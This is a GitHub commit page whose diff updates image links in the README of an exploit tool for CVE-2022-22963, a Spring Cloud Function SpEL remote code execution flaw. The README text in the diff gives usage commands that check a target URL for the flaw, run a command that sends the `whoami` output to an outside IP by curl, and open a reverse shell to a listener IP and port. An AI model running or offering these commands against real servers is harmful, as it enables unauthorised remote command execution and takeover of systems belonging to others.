Skip to content

Commit

Permalink
Update README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
charis3306 committed Mar 8, 2023
1 parent 4e6899f commit 3672c40
Showing 1 changed file with 4 additions and 4 deletions.
8 changes: 4 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -27,21 +27,21 @@ options:
```
.\Spring-cloud-function-spel0.2.exe --help
```
![image]()
![image](https://github.com/charis3306/CVE-2022-22963/blob/main/1.png)

> 默认检测--check 是必须选,--route是漏洞存在的路由。
注意如果不借助dnslog 或sleep 进行探测会存有误报!
```
.\Spring-cloud-function-spel0.2.exe --check post --url http://www.charis3306.top
```

![image]()
![image](https://github.com/charis3306/CVE-2022-22963/blob/main/2.png)

##### 执行命令验证是否能利用
```
.\Spring-cloud-function-spel0.2.exe --check post --url http://154.83.15.150:8080/ --cmd "curl http://154.211.12.40:9999/`whoami`"
```
![image]()
![image](https://github.com/charis3306/CVE-2022-22963/blob/main/3.png)


##### 反弹shell
Expand All @@ -50,7 +50,7 @@ options:
.\Spring-cloud-function-spel0.2.exe --check post --url http://154.83.15.150:8080/ --ip 154.211.12.40 --port 9999
```

![image]()
![image](https://github.com/charis3306/CVE-2022-22963/blob/main/4.png)



Expand Down

0 comments on commit 3672c40

Please sign in to comment.